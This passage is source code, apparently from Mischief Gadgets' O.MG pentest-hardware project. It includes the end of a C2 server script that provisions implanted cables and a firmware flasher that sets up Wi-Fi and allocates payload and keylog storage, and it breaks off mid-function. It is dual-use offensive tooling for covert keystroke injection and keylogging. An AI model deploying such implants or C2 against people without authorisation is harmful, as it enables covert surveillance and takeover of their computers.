the_host.ClientData(client_id, alias, client_exchange_key, device['cmd_queue'])\n the_host.clients[client_id] = client\n\n config.load_provision_files()\n\n if len(sys.argv) > 1 and sys.argv[1].lower() == 'provision':\n valid, error_msg = validate_arguments(sys.argv)\n if not valid:\n print(error_msg)\n print(\"Example usage: python3 ./c2server.py provision cableOne 60 1 300\\nExample usage: python3 ./c2server.py provision cableOne 60 1 300 cableTwo 120 1 600\")\n else:\n index = 2\n while index < len(sys.argv):\n try:\n alias = sys.argv[index]\n poll_seconds = int(sys.argv[index + 1])\n fast_seconds = int(sys.argv[index + 2])\n contact_seconds = int(sys.argv[index + 3])\n the_host.provision(alias, poll_seconds, fast_seconds, contact_seconds)\n index += 4\n except (IndexError, ValueError):\n print(\"Invalid arguments for provisioning. Expected sets of (alias, poll_seconds, fast_seconds, contact_seconds).\")\n else:\n try:\n secondaryServer = ThreadingHTTPServer((config.host_url, config.admin_port), c2admin)\n secondaryThread = threading.Thread(target=secondaryServer.serve_forever)\n secondaryThread.daemon = True\n secondaryThread.start()\n print(\"AdminUI server started http://%s:%s\" % (config.host_url, config.admin_port))\n except OSError as e:\n print(\"Failed to start the AdminUI server.\")\n print(e);\n if 'Address already in use' in str(e):\n print(f\"Port {config.admin_port} is already in use. Please choose a different port in your c2config.\")\n elif 'Can\\'t assign requested address' in str(e):\n print(f\"Cannot assign requested address: {config.host_url}. Please check the host URL in your c2config.\")\n sys.exit(1)\n\n try:\n webServer = HTTPServer((config.host_url, config.host_port), c2server)\n print(\"C2 server started http://%s:%s\" % (config.host_url, config.host_port))\n with webServer:\n webServer.serve_forever()\n except KeyboardInterrupt:\n print(\"Server stopped.\")\n except OSError as e:\n print(e);\n print(\"Failed to start the C2 server.\")\n if 'Address already in use' in str(e):\n print(f\"Port {config.host_port} is already in use. Please choose a different port in your c2config.\")\n elif 'Can\\'t assign requested address' in str(e):\n print(f\"Cannot assign requested address: {config.host_url}. Please check the host URL in your c2config.\")\n sys.exit(1)\n finally:\n if webServer is not None:\n webServer.server_close()\n print(\"Server stopped.\")"
},
{
"path": "c2server/index.html",
"content": "\n\n\n\tO.MG\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\n\n\t\n\t
\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tAP (Broadcast a new AP)\n\t\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\tStation (Connect to Infrastructure)\n\t\t\t\t\t
This log contains info processed during this browser session, including payloads edited or ran & keylogs viewed. We recommend reloading your browser session and limiting your activity to only what you are comfortable sharing.
\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\n\n"
},
{
"path": "c2server/requirements.txt",
"content": "pymonocypher == 3.1.*"
},
{
"path": "flash.py",
"content": "# Copyright 2023 Mischief Gadgets LLC\n\nimport os\nimport sys\nimport json\nimport glob\nimport serial\nimport base64\nimport platform\nimport argparse\nimport platform\nimport mimetypes\nimport http.client\nimport urllib.parse\nfrom sys import exit\nfrom time import time\nfrom math import floor\nfrom signal import signal, SIGINT\nfrom serial.tools import hexlify_codec\nfrom serial.tools.list_ports import comports\n\nfrom pprint import pprint\n\ntry:\n raw_input\nexcept NameError:\n # pylint: disable=redefined-builtin,invalid-name\n raw_input = input # in python3 it's \"raw\"\n unichr = chr\n\nif 'idlelib.run' in sys.modules:\n print(\"!!!! PLEASE DO NOT RUN THIS IN IDLE EDITOR !!!!\")\n print(\"Unexpected outcomes or errors may occur when running in IDLE\")\n print(\"Please launch this by opening your command line or terminal and typing 'python3 flash.py'\")\n print(\"If you have any questions please see the wiki https://github.com/O-MG/O.MG-Firmware/wiki\")\n sys.exit(1)\n\nVERSION = \"FIRMWARE FLASHER VERSION NUMBER [ 230907 @ 153241 UTC ]\"\nFLASHER_VERSION = 1 # presume we have an old style flasher = 1\nFLASHER_VERSION_DETECT = True\n\nBRANCH = \"stable\"\nFIRMWARE_DIR=\"./firmware\"\nFIRMWARE_URL = \"https://raw.githubusercontent.com/O-MG/O.MG-Firmware/%BRANCH%\"\nMEMMAP_URL = \"https://raw.githubusercontent.com/O-MG/WebFlasher/main/assets/memmap.json\"\n\nUPDATES = \"FOR UPDATES VISIT: [ https://github.com/O-MG/O.MG-Firmware ]\\n\"\n\nMOTD = \"\"\"\\\n ./ohds. -syhddddhys: .oddo/.\n `: oMM+ dMMMMMMMMm`/MMs :`\n `/hMh`:MMm .:-....-:- hMM+`hMh/\n `oNMm:`sMMN:`:+osssso+:`-NMMy.:dMNo`\n +NMMs +NMMh`:mMMMMMMMMMMN/`yMMNo +MMN+\n .dMMMy sMMMh oMNhs+////+shNMs yMMMy sMMMd.\n -NMMM+ NMMMd`-. `.::::.` .:`hMMMM` +MMMN-\n -NMMN- hMMMMMdhhmMMMMMMMMmhhdNMMMMd -NMMN.\n mMMM- `m:`hMMMMMMMMMmhyyhmMMMMMMMMMd.-d` -MMMm\n +MMMs dMMs -sMMMMm+` `+mMMMMs: oMMh sMMM+\n dMMM` :MMMy oMMMy yMMMo hMMM: `MMMd\n MMMm sMMM: NMMN NMMN :MMMs mMMM\n `MMMd yMMM- `MMMd dMMM` :MMMs dMMM`\n NMMN +MMMo dMMM: :MMMN. +MMM+ NMMN\n yMMM/ `NMMN` .NMMN+ +MMMMMMh.+MN` /MMMy\n .MMMm` /MMMd` .hMMMNy+:--:+yNMMMdsNMMN.+/ `mMMM.\n +MMMh +MMMN/ :hMMMMMMMMMMMMh: yMMM/ hMMM+\n sMMMh` -mMMMd/` `:oshhhhy+:` `/dMMMh `hMMMs\n oMMMN/ +mMMMMho:. .:ohMMMMm/ :NMMMo\n -mMMMd: :yNMMMMMMNNNNMMMMMMNy: :dMMMm-\n +NMMMmo -+shmNMMMMNmhs+- .omMMMN+\n `/dNo.:/ `-+ymMMMMd/\n /mM-.:/+ossyyhhdmNMMMMMMdo.\n -mMMMMMMMMMMMMMMMMMMNdy+-\n /MMMMMMmyso+//::--.`\n :MMMMNNNNs-\n `Ndo:` `.`\n :-\\\n\"\"\"\n\n\ndef omg_tos():\n message = \"\"\"\nAgreement\nO.MG Cable, O.MG Adapter, and O.MG Plug are trademarks of Mischief Gadgets, \nLLC. Mischief Gadgets, LLC requires that all users read and accept the \nprovisions of the Terms of Use Policy and the Privacy Policy prior to \ngranting users any authorization to use pentesting hardware created by \nMischief Gadgets, LLC and/or its affiliates. The Terms of Use Policy and\nthe Privacy Policy can be found at https://o.mg.lol, and must be \naffirmatively consented to by users prior to using any pentesting hardware\ncreated by Mischief Gadgets, LLC and/or its affiliates (hereinafter referred\nto as “O.MG Devices”). Reading and Accepting the Terms of Use and the Privacy\nPolicy are REQUIRED CONSIDERTIONS for Mischief Gadgets, LLC and/or its \naffiliates granting users the right to use any O.MG Device. All persons are \nDENIED permission to use any O.MG Device, unless they read and affirmatively\naccept the Terms of Use Policy and the Privacy Policy located at\nhttps://o.mg.lol.\n\nPrivacy Policy\nAll persons under the age of 18 are denied access to the website located at \nhttps://o.mg.lol, as well as denied authorization to use any O.MG Device. \nIf you are under the age of 18, it is unlawful for you to visit, communicate, \nor interact with Mischief Gadgets, LLC and/or its affiliates in any manner. \nMischief Gadgets, LLC and/or its affiliates specifically denies access to any\nindividual that is covered by the Child Online Privacy Act (COPA) of 1998.\n\nMischief Gadgets, LLC and/or its affiliates reserve the right to deny access \nto any person or viewer for any reason. Under the provisions of this Privacy \nPolicy, Mischief Gadgets, LLC and/or its affiliates are allowed to collect and\nstore data and information for the purpose of exclusion, and for any other \nuses seen fit.\n\nMischief Gadgets, LLC and/or its affiliates have established safeguards to \nhelp prevent unauthorized access to or misuse of your information but cannot\nguarantee that your information will never be disclosed in a manner \ninconsistent with this Privacy Policy (for example, as a result of any \nunauthorized act by third parties that violate applicable law or our\naffiliates’ policies). To protect your privacy and security, we may use \npasswords or other technologies to register or authenticate you and enable\nyou to take advantage of our services, and before granting access or making\ncorrections to your information.\n\nMischief Gadgets, LLC and/or its affiliates do not rent or sell your personally\nidentifiable information (such as name, address, telephone number, and credit \ncard information) to third parties for their marketing purposes.\n\nThis Privacy Policy may change from time to time. Users have an affirmative \nduty, as part of the consideration for permission to use O.MG Devices, to keep \nthemselves informed of changes to this Privacy Policy. All changes to this \nPrivacy Policy will be posted at https://o.mg.lol.\n\nTerms of Use\nPentesting hardware designed by Mischief Gadgets, LLC and/or its affiliates \n(hereinafter referred to as “O.MG Devices”) are network administration and \npentesting tools used for authorized auditing and security analysis purposes\nonly where permitted, subject to local and international laws where applicable.\nUsers are solely responsible for compliance with all laws of their locality. \nMischief Gadgets, LLC and/or its affiliates claim no responsibility for \nunauthorized or unlawful use.\n\nO.MG Devices are packaged with a limited warranty, the acceptance of which is\na condition of sale. See https://o.mg.lol for additional warranty details and\nlimitations. Availability and performance of certain features, services, and\napplications are device and network dependent and may not be available in all\nareas; additional terms, conditions and/or charges may apply.\n\nYou agree not to access or use any O.MG Device or the website located at \nhttps://o.mg.lol in any unlawful way or for any unlawful or illegitimate \npurpose or in any manner that contravenes this Agreement. You shall not \nuse any O.MG \n\nDevice to post, use, store, or transmit any information that is unlawful, \nlibelous, defamatory, obscene, fraudulent, predatory of minors, harassing, \nthreatening or hateful towards any individual, this includes any information \nthat infringes or violates any of the intellectual property rights of others\nor the privacy rights of others. You shall not use any O.MG Device to attempt\nto disturb the peace by any method, including through use of viruses, Trojan \nhorses, worms, time bombs, denial of service attacks, flooding or spamming. \nYou shall not use any O.MG Device in any manner that could damage, disable or\nimpair Mischief Gadgets, LLC and/or its affiliates, or any third-party. You \nshall not use any O.MG Device to attempt to gain unauthorized access to any \nuser account, computer systems, or networks through hacking, password mining \nor any other means. You shall not use any O.MG Device alongside any robot, data\nscraper, miner or virtual computer to gain unlawful access to protected \ncomputer systems.\n\nAll features, functionality and other product specifications are subject to \nchange without notice or obligation. Mischief Gadgets, LLC and/or its \naffiliates reserve the right to make changes to the product description in \nthis document without notice. Mischief Gadgets, LLC and/or its affiliates \ndo not assume any liability that may occur due to the use or application of \nthe product(s) described herein.\n\nThese terms and conditions shall be governed by and construed in accordance \nwith the laws of the state of New York, United States of America, and you \nagree to submit to the personal jurisdiction of the courts of the state of \nNew York. In the event that any portion of these terms and conditions is deemed\nby a court to be invalid, the remaining provisions shall remain in full force\nand effect. You agree that regardless of any statute or law to the contrary,\nany claim or cause of action arising out of or related to this Web site, or the\nuse of this Website, must be filed within one year after such claim or cause of \naction arose and must be filed in a court in New York, New York, U.S.A.\n\nAs required by Section 512(c)(2) of Title 17 of the United States Code, if you\nbelieve that any material on the website located at https://o.mg.lol infringes\nyour copyright, you must send a notice of claimed infringement to Mischief \nGadget, LLC’s General Counsel at the following address:\n c/o Mischief Gadgets, LLC - General Counsel\n Tor Ekeland Law, PLLC\n 30 Wall St., 8th Floor\n New York, NY 10005\n [info@torekeland.com]\nIf you do not agree to be bound by this Agreement, do not access or use any \nO.MG Device, or the website located at https://o.mg.lol. We reserve the right, \nwith or without notice, to make changes to this Agreement at our discretion. \nContinued use of any O.MG Device or the website located at https://o.mg.lol \nconstitutes your acceptance of these Terms, as they may appear at the time \nof your access.\n\nBy continuing, by availing yourself of any O.MG Device or the website located \nat https://o.mg.lol, or by accessing, visiting, browsing, using or attempting\nto interact with or use any O.MG Device or the website located at \nhttps://o.mg.lol, you agree that you have read, understand, and agree to be \nbound by this Agreement as well as our Privacy Policy, which is a part of this\nAgreement and which can be viewed here: https://o.mg.lol.\n\"\"\"\n \n print(\"\\n\\nTo use this flashing tool and O.MG Devices you must agree to the following\\n\\n\")\n try:\n from scripts import pager as pager\n from io import StringIO\n f = StringIO(message)\n pager.page(f)\n except KeyError:\n print(message)\n print(\"\\n\\nTo use this flashing tool and O.MG Devices you must agree to the following\\n\\n\")\n INPUT_CORRECT = False\n USER_AGREED = False\n while not INPUT_CORRECT:\n print(\"\\n\\nDo you agree? You must type yes or no\\n\\n\")\n user_response = str(input(\"Select Option: \")).replace(\" \",\"\").lower().strip()\n if \"yes\" in user_response:\n INPUT_CORRECT = True\n USER_AGREED = True\n if \"no\" in user_response:\n INPUT_CORRECT = True\n USER_AGREED = False \n if USER_AGREED:\n return True\n else:\n print(\"<<< DID NOT AGREE TO TERMS OF SERVICE. CANNOT CONTINUE >>>\")\n sys.exit(1)\n\ndef omg_dependency_imports():\n # load pyserial\n try:\n global serial\n import serial\n except:\n print(\"\\n<<< PYSERIAL MODULE MISSING, MANUALLY INSTALL TO CONTINUE >>>\")\n print(\"<<< YOU CAN TRY: npm install serial or pip install pyserial >>>\")\n complete(1)\n\n try:\n from scripts import flashapi as flashtest\n except:\n if not os.path.exists('./scripts/'):\n os.mkdir(\"./scripts/\")\n dependencies = ['flashapi.py', 'miniterm.py']\n for dependency in dependencies:\n file_path = \"scripts/\"+dependency\n file_url = FIRMWARE_URL.replace(\"%BRANCH%\",BRANCH) + \"/scripts/\" + dependency\n try:\n res = get_resource_file(file_url)\n if res['status'] == 200:\n with open(file_path,\"wb\") as f:\n f.write(res['data'])\n print(\"succesfully fetched missing dependency %s from %s\"%(dependency,file_url))\n except:\n print(\"failed to get missing dependency %s from %s\"%(dependency,file_url))\n try:\n global flashapi\n from scripts import flashapi as flashapi \n except:\n print(\"<<< flashapi.PY MISSING FROM scripts/flashapi.py >>>\")\n print(\"<<< PLEASE MANUALLY DOWNLOAD FROM https://github.com/O-MG/O.MG-Firmware >>>\")\n complete(1)\n\ndef handler(signal_received, frame):\n # Handle any cleanup here\n print('SIGINT or CTRL-C detected. Exiting gracefully')\n exit(0)\n\nclass omg_results():\n def __init__(self):\n self.OS_DETECTED = \"\"\n self.PROG_FOUND = False\n self.PORT_PATH = \"\"\n self.WIFI_DEFAULTS = False\n self.WIFI_SSID = \"O.MG\"\n self.WIFI_PASS = \"12345678\"\n self.WIFI_MODE = \"2\"\n self.WIFI_TYPE = \"STATION\"\n self.FILE_PAGE = \"page.mpfs\"\n self.FILE_INIT = \"esp_init_data_default_v08.bin\"\n self.FILE_ELF0 = \"image.elf-0x00000.bin\"\n self.FILE_ELF1 = \"image.elf-0x10000.bin\"\n self.FILE_BLANK = \"blank.bin\"\n self.FILE_OFAT_INIT = \"blank-settings.bin\"\n self.FLASH_SLOTS = 4\n self.FLASH_PAYLOAD_SIZE = 60\n self.NUMBER_SLOTS = 50\n\ndef get_dev_info(dev):\n esp = flashapi.ESP8266ROM(dev, baudrate, None)\n esp.connect(None)\n mac = esp.read_mac()\n\n esp.flash_spi_attach(0)\n flash_id = esp.flash_id()\n size_id = flash_id >> 16\n flash_size = {0x14: 0x100000, 0x15: 0x200000, 0x16: 0x400000}[size_id]\n return mac, flash_size\n\ndef ask_for_flasherhwver():\n \"\"\"\n Ask for the flasher version, either 1 or 2 right now...\n \"\"\"\n FLASHER_VERSION = 1\n flash_version = FLASHER_VERSION\n if FLASHER_VERSION is None:\n while True:\n try:\n flash_version = int(raw_input(\"--- Enter version of programmer hardware [Available Versions: Programmer V1 or Programmer V2]: \".format(FLASHVER=flash_version)))\n except:\n pass\n if flash_version == 1 or flash_version == 2:\n break\n print(\"<<< USER REPORTED HARDWARE FLASHER REVISION AS VERSION\", flash_version, \">>>\")\n return flash_version \n \ndef ask_for_port():\n \"\"\"\\\n Show a list of ports and ask the user for a choice. To make selection\n easier on systems with long device names, also allow the input of an\n index.\n \"\"\"\n global FLASHER_VERSION\n i = 0\n sys.stderr.write('\\n--- Available ports:\\n')\n port = None\n ports = []\n ports_info = {}\n skippedports = []\n\n for n, (port, desc, hwid) in enumerate(sorted(comports()), 1):\n includedport = \"CP210\"\n if includedport in desc:\n i+=1\n sys.stderr.write('--- {:2}: {:20} {!r}\\n'.format(i, port, desc))\n ports.append(port)\n ports_info[port]={'port': port,'desc': desc,'hwid': hwid}\n else: \n skippedports.append(port)\n while True:\n num_ports = len(ports)\n #if num_ports == 1:\n # return ports[0]\n #else:\n port = raw_input('--- Enter port index or full name: ')\n try:\n index = int(port) - 1\n if not 0 <= index < len(ports):\n sys.stderr.write('--- Invalid index!\\n')\n continue\n except ValueError:\n all_ports = skippedports + list(ports_info.keys())\n cleaned_value = str(port).strip().strip(\" \")\n in_valid_list = (cleaned_value in ports_info.keys())\n if cleaned_value in all_ports:\n # we found a port\n if not in_valid_list:\n print(f\"!! Warning: Manually selecting port {port}, but unable to verify it is a CP210x device\")\n break\n else:\n if len(ports)==1:\n print(\"<<< ONLY ONE PROGRAMMER FOUND, SELECTING PROGRAMMER 1 >>>\")\n port = ports[0]\n break\n else:\n print(\"Invalid option. You must enter an index or full path to the device\")\n pass\n else:\n port = ports[index]\n break\n FLASHER_VERSION = 1 # update back to 1\n if FLASHER_VERSION_DETECT: \n try: \n sercheck = serial.Serial(port=port,dsrdtr=True)\n sercheck.dtr=0\n # we do 3 checks\n final_check = True\n if sercheck.dsr == sercheck.dtr and sercheck.dsr == 0:\n # we will set it to true\n for check in [True,False,True]:\n sercheck.dtr=int(check)\n curr_check = False\n if sercheck.dtr == int(check) and sercheck.dsr == sercheck.dtr:\n curr_check = True\n final_check = final_check & curr_check\n sercheck.close()\n if final_check:\n print(\"Found programmer version: 2\")\n print(\"This programmer will not require reconnection, please utilize the visual indicators on the programmer to ensure omg device is properly connected.\")\n FLASHER_VERSION = 2\n else:\n print(\"Found programmer version: 1\")\n #print(\"You will need to reconnect this when doing operations.\")\n except KeyError:\n print(\"Defaulting to programmer version: 1\")\n # finish\n return port\n\ndef omg_flash(command,tries=2):\n global FLASHER_VERSION\n ver = FLASHER_VERSION\n if int(ver) == 2 and FLASHER_VERSION_DETECT:\n try:\n flashapi.main(command)\n return True\n except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e:\n print(\"Error\", str(e))\n return False\n else:\n ret = False\n while tries>0:\n try:\n ret = flashapi.main(command)\n print(\"<<< OPERATION SUCCESSFUL. PLEASE UNPLUG AND REPLUG DEVICE BEFORE CONTINUING >>>\")\n input(\"\")\n ret = True\n break\n except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e:\n tries-=1\n print(\"Unsuccessful communication,\", tries, \"trie(s) remain\")\n if not ret:\n print(\"<<< ERROR DURING OPERATION PREVENTED SUCCESSFUL FLASH. TRY TO RECONNECT DEVICE OR REBOOT >>>\")\n complete(1)\n else:\n return ret\n\ndef complete(statuscode, message=\"Press Enter to continue...\"):\n input(message)\n sys.exit(statuscode)\n\ndef make_request(url):\n urlparse = urllib.parse.urlparse(url)\n url_parts = None\n if \":\" in str(urlparse.netloc):\n url_parts = str(urlparse.netloc).split(\":\")\n else:\n port = 443\n if urlparse.scheme != \"https\":\n port = 80\n url_parts = (urlparse.netloc, port)\n if urlparse.scheme == \"https\":\n conn = http.client.HTTPSConnection(host=url_parts[0], port=url_parts[1])\n else:\n conn = http.client.HTTPConnection(host=url_parts[0], port=url_parts[1])\n return conn\n\ndef get_resource_file(url,params=None,data_type='text'):\n dta = \"text/plain\"\n if data_type == \"json\":\n dta = \"application/json\"\n pyver = sys.version_info\n uas = \"httplib ({0}) python/{1}.{2}.{3}-{4}\".format(sys.platform,pyver.major,pyver.minor,pyver.micro,pyver.serial)\n headers = {\n \"Content-type\": \"application/x-www-form-urlencoded\",\n \"Accept\": dta,\n \"User-Agent\": uas\n }\n status = None\n try:\n conn = make_request(url)\n conn.request(\"GET\", url, params, headers)\n response = conn.getresponse()\n status = int(response.status)\n data = response.read()\n except ConnectionError:\n data = None\n status = 500\n return {'data': data, 'status': status}\n\ndef get_release_data():\n global BRANCH\n release_url = \"https://api.github.com/repos/O-MG/O.MG-Firmware/releases?per_page=100\"\n release_data = get_resource_file(url=release_url,data_type='json')\n if release_data['status'] == 200:\n raw_releases = json.loads(release_data['data'])\n releases = {}\n release_list = []\n for element in raw_releases:\n if \"target_commitish\" in element and element[\"target_commitish\"] not in releases:\n # add\n if not element[\"draft\"] :\n releases[element[\"target_commitish\"]] = element\n releases[element[\"target_commitish\"]][\"version\"] = element[\"tag_name\"]\n releases[element[\"target_commitish\"]][\"author\"] = element[\"author\"][\"login\"]\n #del element[\"target_commitish\"][\"author\"]\n release_list.append(releases[element[\"target_commitish\"]])\n if BRANCH in releases:\n return releases[BRANCH][\"tag_name\"]\n else:\n return None\n \ndef omg_fetch_latest_firmware(create_dst_dir=False,dst_dir=\"./firmware\"):\n curr_branch = BRANCH\n try:\n curr_branch = get_release_data()\n except OSError:\n pass\n mem_map = get_resource_file(MEMMAP_URL)\n data = None\n if mem_map is not None and 'status' in mem_map and mem_map['status'] == 200:\n # attempt to create dir\n if not dst_dir==\"./\" or create_dst_dir:\n if os.path.exists(dst_dir):\n for f in os.listdir(dst_dir):\n os.remove(dst_dir + \"/\" + f)\n os.rmdir(dst_dir)\n os.mkdir(dst_dir)\n json_map = json.loads(mem_map['data'])\n data = json_map\n pymap = {}\n dl_files = []\n for flash_size,files in json_map.items():\n mem_size = int(int(flash_size)/1024)\n file_map = []\n for resource in files:\n file_map.append(resource['offset'])\n file_map.append(resource['name'])\n if resource['name'] not in dl_files:\n dl_files.append(resource['name'])\n pymap[mem_size]=file_map\n #pprint(pymap)\n #pprint(dl_files)\n print(f\"\\n\\n<<<< WARNING: Firmware was not found in {dst_dir}! Resetting and attempting to download {curr_branch} firmware from the internet. >>>> \\n\\n\")\n for dl_file in dl_files:\n dl_url = (\"%s/firmware/%s\"%(FIRMWARE_URL,dl_file)).replace(\"%BRANCH%\",curr_branch)\n n = get_resource_file(dl_url) \n if n is not None and 'data' in n and n['status']==200:\n dl_file_path = \"%s/%s\"%(dst_dir,dl_file)\n with open(dl_file_path,'wb') as f:\n print(\"writing %d bytes of data to file %s from %s\"%(len(n['data']),dl_file_path,dl_url))\n f.write(n['data'])\n return data\n\ndef omg_locate():\n def omg_check(fw_path):\n PAGE_LOCATED = False\n INIT_LOCATED = False\n ELF0_LOCATED = False\n ELF1_LOCATED = False\n ELF2_LOCATED = False\n\n if os.path.isfile(results.FILE_PAGE):\n PAGE_LOCATED = True\n else:\n if os.path.isfile(fw_path + results.FILE_PAGE):\n results.FILE_PAGE = fw_path + results.FILE_PAGE\n PAGE_LOCATED = True\n\n if os.path.isfile(results.FILE_INIT):\n INIT_LOCATED = True\n else:\n if os.path.isfile(fw_path + results.FILE_INIT):\n results.FILE_INIT = fw_path + results.FILE_INIT\n INIT_LOCATED = True\n\n if os.path.isfile(results.FILE_ELF0):\n ELF0_LOCATED = True\n else:\n if os.path.isfile(fw_path + results.FILE_ELF0):\n results.FILE_ELF0 = fw_path + results.FILE_ELF0\n ELF0_LOCATED = True\n\n if os.path.isfile(results.FILE_ELF1):\n ELF1_LOCATED = True\n else:\n if os.path.isfile(fw_path + results.FILE_ELF1):\n results.FILE_ELF1 = fw_path + results.FILE_ELF1\n ELF1_LOCATED = True\n\n if os.path.isfile(results.FILE_BLANK):\n ELF2_LOCATED = True\n else:\n if os.path.isfile(fw_path + results.FILE_BLANK):\n results.FILE_BLANK = fw_path + results.FILE_BLANK\n ELF2_LOCATED = True\n \n if os.path.isfile(fw_path + results.FILE_OFAT_INIT):\n try:\n os.unlink(fw_path + results.FILE_OFAT_INIT)\n except:\n pass\n results.FILE_OFAT_INIT = fw_path + results.FILE_OFAT_INIT\n # return data\n return (PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED)\n\n # do lookups\n fw_path = FIRMWARE_DIR + \"/\"\n if not os.path.exists(fw_path):\n omg_fetch_latest_firmware(True,fw_path)\n # try one\n PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED = omg_check(fw_path)\n \n if not (PAGE_LOCATED and INIT_LOCATED and ELF0_LOCATED and ELF1_LOCATED and ELF2_LOCATED):\n omg_fetch_latest_firmware(False,fw_path)\n PAGE_LOCATED,INIT_LOCATED,ELF0_LOCATED,ELF1_LOCATED,ELF2_LOCATED = omg_check(fw_path)\n \n # now see if things worked\n if PAGE_LOCATED and INIT_LOCATED and ELF0_LOCATED and ELF1_LOCATED and ELF2_LOCATED:\n print(\"\\n<<< ALL FIRMWARE FILES LOCATED >>>\\n\")\n else:\n print(\"<<< SOME FIRMWARE FILES ARE MISSING, PLACE THEM IN THIS FILE'S DIRECTORY >>>\")\n if not PAGE_LOCATED: print(\"\\n\\tMISSING FILE: {PAGE}\".format(PAGE=results.FILE_PAGE))\n if not INIT_LOCATED: print(\"\\tMISSING FILE: {INIT}\".format(INIT=results.FILE_INIT))\n if not ELF0_LOCATED: print(\"\\tMISSING FILE: {ELF0}\".format(ELF0=results.FILE_ELF0))\n if not ELF1_LOCATED: print(\"\\tMISSING FILE: {ELF1}\".format(ELF1=results.FILE_ELF1))\n if not ELF2_LOCATED: print(\"\\tMISSING FILE: {ELF2}\".format(ELF2=results.FILE_BLANK))\n print('')\n complete(1)\n\n\n\ndef omg_probe():\n devices = \"\"\n results.PROG_FOUND = False\n\n detected_ports = ask_for_port()\n devices = detected_ports\n \n results.PORT_PATH = devices\n if len(devices) > 1:\n results.PROG_FOUND = True\n \n if results.PROG_FOUND:\n print(\"\\n<<< O.MG-PROGRAMMER WAS FOUND ON {PORT} >>>\".format(PORT=results.PORT_PATH))\n else:\n if results.OS_DETECTED == \"DARWIN\":\n print(\"<<< O.MG-DEVICE-PROGRAMMER WAS NOT FOUND IN DEVICES, YOU MAY NEED TO INSTALL THE DRIVERS FOR CP210X USB BRIDGE >>>\\n\")\n print(\"VISIT: [ https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers ]\\n\")\n else:\n print(\"<<< O.MG-PROGRAMMER WAS NOT FOUND IN DEVICES >>>\\n\")\n complete(1)\n\ndef omg_reset_settings():\n FILE_INIT = results.FILE_OFAT_INIT\n try:\n with open(FILE_INIT,'wb') as f:\n fill = (4*1024)\n init_cmd = \"\\00\"*abs(fill)\n f.write(bytes(init_cmd.encode(\"utf-8\"))) \n except:\n print(\"Warning: Unable to reset \" + FILE_INIT)\n\n\ndef omg_patch(_ssid, _pass, _mode, slotsize=4, percent=60):\n FILE_INIT = results.FILE_OFAT_INIT\n\n init_cmd = \"INIT;\"\n settings = {\n \"wifimode\": _mode,\n \"wifissid\": _ssid,\n \"wifikey\": _pass\n }\n for config,value in settings.items():\n init_cmd+=\"S:{KEY}{SEP}{VALUE};\".format(SEP=\"=\", KEY=config,VALUE=value)\n # once booted we know more, this is a sane default for now\n # if we set this to %f we can actually erase and allocate at once\n if slotsize>0:\n init_cmd += \"F:keylog=0;F:payload1=0;F:payload2=0;F:payload3=0;F:payload4=0;F:payload5=0;F:payload6=0;F:payload7=0;F:bootscript=4;F:hidxfile=16;\"\n ns = floor(((360*4)*(percent*.01))/(slotsize*4))\n print(f\"[If Applicable] Number of Slots: {ns} with size {slotsize*4}k each based on {percent}% for payload slots\")\n results.NUMBER_SLOTS = ns\n for i in range(1,ns+1):\n init_cmd+=\"f{SEP}payload{COUNT}={SLOT};\".format(SEP=\":\", COUNT=i, SLOT=int(slotsize))\n init_cmd += \"f{SEP}keylog=100%F;\".format(SEP=\":\") \n init_cmd += \"\\0\"\n try:\n with open(FILE_INIT,'wb') as f:\n length = len(init_cmd)\n fill = (4*1024)-length\n init_cmd += \"\\00\"*abs(fill)\n f.write(bytes(init_cmd.encode(\"utf-8\"))) \n except:\n print(\"\\n<<< PATCH FAILURE, ABORTING >>>\")\n complete(1)\n\n\ndef omg_input():\n WIFI_MODE = ''\n SANITIZED_SELECTION = False\n\n while not SANITIZED_SELECTION:\n\n try:\n notemsg = \"Hitting enter without an option will default to AP Mode with SSID: %s Pass: %s\"%(results.WIFI_SSID,results.WIFI_PASS)\n WIFI_MODE = input(\"\\nSELECT WIFI MODE\\n1: STATION - (Connect to existing network. 2.4GHz)\\n2: ACCESS POINT - (Create SSID. IP: 192.168.4.1)\\n[%s]\\nWifi Configuration [Hit Enter to use Defaults]: \"%notemsg)\n if WIFI_MODE == '' or WIFI_MODE == '1' or WIFI_MODE == '2':\n SANITIZED_SELECTION = True\n except:\n pass\n\n if len(WIFI_MODE) == 1:\n results.WIFI_DEFAULTS = False\n results.WIFI_MODE = WIFI_MODE\n if WIFI_MODE == '1':\n results.WIFI_TYPE = 'STATION'\n else:\n results.WIFI_TYPE = 'ACCESS POINT'\n else:\n results.WIFI_DEFAULTS = True\n\n if not results.WIFI_DEFAULTS:\n\n WIFI_SSID = ''\n SANITIZED_SELECTION = False\n\n while not SANITIZED_SELECTION:\n try:\n WIFI_SSID = input(\"\\nENTER WIFI SSID (1-32 Characters): \")\n if len(WIFI_SSID) > 1 and len(WIFI_SSID) < 33:\n SANITIZED_SELECTION = True\n except:\n pass\n\n results.WIFI_SSID = WIFI_SSID\n\n WIFI_PASS = ''\n SANITIZED_SELECTION = False\n\n while not SANITIZED_SELECTION:\n try:\n WIFI_PASS = input(\"\\nENTER WIFI PASS (8-64 Characters): \")\n if len(WIFI_PASS) > 7 and len(WIFI_PASS) < 65:\n SANITIZED_SELECTION = True\n except:\n pass\n\n results.WIFI_PASS = WIFI_PASS\n \n # enable to let user customize on plus an elite devices\n # beta feature\n PROMPT_FLASH_CUSTOMIZE = False \n FLASH_CUSTOMIZE = 0\n FLASH_SIZE = 4\n FLASH_PAYLOAD_PERCENT = 60\n SANITIZED_SELECTION = False\n if PROMPT_FLASH_CUSTOMIZE:\n while not SANITIZED_SELECTION:\n try:\n CUST_INPUT = str(input(\"\\nCUSTOMIZE PAYLOAD AND KEYLOG ALLOCATIONS?\\n(Note: Only compatible with Plus and Elite O.MG Devices)\\nBegin Customization? (Yes or No) [Default: No] \")).lower()\n if \"yes\" in CUST_INPUT or \"no\" in CUST_INPUT or '' in CUST_INPUT:\n print(\"Using default\")\n SANITIZED_SELECTION = 